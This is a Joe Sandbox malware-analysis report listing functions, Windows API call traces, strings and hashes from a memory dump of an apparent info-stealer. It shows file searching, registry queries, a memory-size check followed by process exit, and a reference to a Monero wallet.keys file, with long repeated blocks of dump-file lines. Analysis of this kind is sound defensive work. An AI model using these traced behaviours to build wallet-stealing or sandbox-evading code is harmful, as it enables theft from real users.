Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 8f0ff5b4a63b4ffc11769e6ce1926cac99e2d560add86ebcad58cd49230ef02c
Instruction ID: cd2919588c7276cd15b70d9d773d1da7eaa83ac51f113238660d2cf673967e29
Opcode Fuzzy Hash: 8f0ff5b4a63b4ffc11769e6ce1926cac99e2d560add86ebcad58cd49230ef02c
Instruction Fuzzy Hash: 3C3129B4A00209EFDF14CFA8C895BAEB7F5FF48340F108158E901A7290D778AA41DFA5

Function 00DA4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0194EBC0), ref: 00DA47DB

Part of subcall function 00DA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DA4801
lstrcat.KERNEL32(?,?), ref: 00DA4820
lstrcat.KERNEL32(?,?), ref: 00DA4834
lstrcat.KERNEL32(?,0193C260), ref: 00DA4847
lstrcat.KERNEL32(?,?), ref: 00DA485B
lstrcat.KERNEL32(?,0194E320), ref: 00DA486F

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DA8D90: GetFileAttributesA.KERNEL32(00000000,?,00D91B54,?,?,00DB564C,?,?,00DB0E1F), ref: 00DA8D9F

Part of subcall function 00DA4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00DA4580
Part of subcall function 00DA4570: RtlAllocateHeap.NTDLL(00000000), ref: 00DA4587
Part of subcall function 00DA4570: wsprintfA.USER32 ref: 00DA45A6
Part of subcall function 00DA4570: FindFirstFileA.KERNEL32(?,?), ref: 00DA45BD

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 7fb7c0738bf7bc707e70ce897bb76cd3536a5836b5e70f3fc553ee2ce6b0214d
Instruction ID: 39921e347a211661ea5c874bdad4e173e57ca7263a69888d4b415d38666059f7
Opcode Fuzzy Hash: 7fb7c0738bf7bc707e70ce897bb76cd3536a5836b5e70f3fc553ee2ce6b0214d
Instruction Fuzzy Hash: 91316EB2D0020CABCB10FBB0DC85EEA7379AB48700F404589BB1996091EE74D689DFB5

Function 00D91220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D9123E
__aulldiv.LIBCMT ref: 00D91258
__aulldiv.LIBCMT ref: 00D91266
ExitProcess.KERNEL32 ref: 00D91294

Strings

@, xrefs: 00D91233

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 32b78ae81a574a964829048433e7e4750be3e9c1d68fa910cdcb915820548028
Instruction ID: b5b91078c35ba0f33fc7873d083201108277251467b2a211daa72c682c245cf5
Opcode Fuzzy Hash: 32b78ae81a574a964829048433e7e4750be3e9c1d68fa910cdcb915820548028
Instruction Fuzzy Hash: 750162B4D40308BADF10EBE4CC4AB9EB778EB14701F248145E705B61C0D7749541876D

Function 00DA40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0194E080,00000000,00020119,?), ref: 00DA40F4
RegQueryValueExA.ADVAPI32(?,0194EB18,00000000,00000000,00000000,000000FF), ref: 00DA4118
RegCloseKey.ADVAPI32(?), ref: 00DA4122
lstrcat.KERNEL32(?,00000000), ref: 00DA4147
lstrcat.KERNEL32(?,0194EA88), ref: 00DA415B

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: edd93deca062db1662fe5d1f71ff246bdcd5eb24ec74050b4f596d1eaa12adc0
Instruction ID: 163eac572f4aae87f2391d91d211a67e37cc975f3812031245df183ed0eb4123
Opcode Fuzzy Hash: edd93deca062db1662fe5d1f71ff246bdcd5eb24ec74050b4f596d1eaa12adc0
Instruction Fuzzy Hash: 9A4177B6D0010C6BDB14EBB0DC46FFE737EEB89300F404959B61557181EA759B889BB2

Function 6C57C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C57C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C57C969
GetSystemInfo.KERNEL32(?), ref: 6C57C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C57C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C57C9E2

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 4b2ddb7b85e140370599d71ccc26e1fa0834c1e943105370711dbe12e60bcd4d
Instruction ID: f150fbe94d8c1e832a2ab845f3b7c344a1ed1b28baa67eae20739e333a8acc35
Opcode Fuzzy Hash: 4b2ddb7b85e140370599d71ccc26e1fa0834c1e943105370711dbe12e60bcd4d
Instruction Fuzzy Hash: 1621FC31741318ABDB94AE64DC84BAE777AAF8A704F510519F903A7740EB707C4087A9

Function 00DA7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00DA7E3E
RegOpenKeyExA.KERNEL32(80000002,0193CB30,00000000,00020119,?), ref: 00DA7E5E
RegQueryValueExA.KERNEL32(?,0194E280,00000000,00000000,000000FF,000000FF), ref: 00DA7E7F
RegCloseKey.ADVAPI32(?), ref: 00DA7E92

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 4ad12fa6797e55936c684c5d76614cac3f1db5504352cb1722faa9437e12da44
Instruction ID: 85403334aabfbb15d8d299e7394ef895b0fb35864417d1d5dc64df9116993645
Opcode Fuzzy Hash: 4ad12fa6797e55936c684c5d76614cac3f1db5504352cb1722faa9437e12da44
Instruction Fuzzy Hash: F2115EB1A4420AEBD700DFA4DD49FBBBBB9EB49B10F10415AFA16A7280D77459009BB1

Function 00D912A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D912B4
RtlAllocateHeap.NTDLL(00000000), ref: 00D912BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00D912D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D912F5
RegCloseKey.ADVAPI32(?), ref: 00D912FF

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 8e2de345ec0391e45cf3b60dead0d16649cbbeb3b4996be02e625dd106e7f5c1
Instruction ID: 718eac202bf0698a57ec44823bd5c7b91512682629b6275e6725b66adf8e4e92
Opcode Fuzzy Hash: 8e2de345ec0391e45cf3b60dead0d16649cbbeb3b4996be02e625dd106e7f5c1
Instruction Fuzzy Hash: 0C0131B9A4020CBBDB00DFE0DC49FAEB7B9EB48701F00815AFE0597280D6709A019F55

Function 00D9A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01949690,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00D9A0BD
LoadLibraryA.KERNEL32(0194E160), ref: 00D9A146

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA820: lstrlen.KERNEL32(00D94F05,?,?,00D94F05,00DB0DDE), ref: 00DAA82B
Part of subcall function 00DAA820: lstrcpy.KERNEL32(00DB0DDE,00000000), ref: 00DAA885

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

SetEnvironmentVariableA.KERNEL32(01949690,00000000,00000000,?,00DB12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00DB0AFE), ref: 00D9A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00D9A0B2, 00D9A0C6, 00D9A0DC

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-273959250
Opcode ID: 083ac5e7db0badd9234cc014cd94fc25250b2a9267a03aa9555d3352becde555
Instruction ID: 709e0a432d4bad191a72b37e02c4901c3486032068517f7a7da6f215229feade
Opcode Fuzzy Hash: 083ac5e7db0badd9234cc014cd94fc25250b2a9267a03aa9555d3352becde555
Instruction Fuzzy Hash: BD4165B1912208DFCB04DFB8EC55BAA37B6FB09301F18011AF505932A0EB359944EB7B

Function 00D9A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
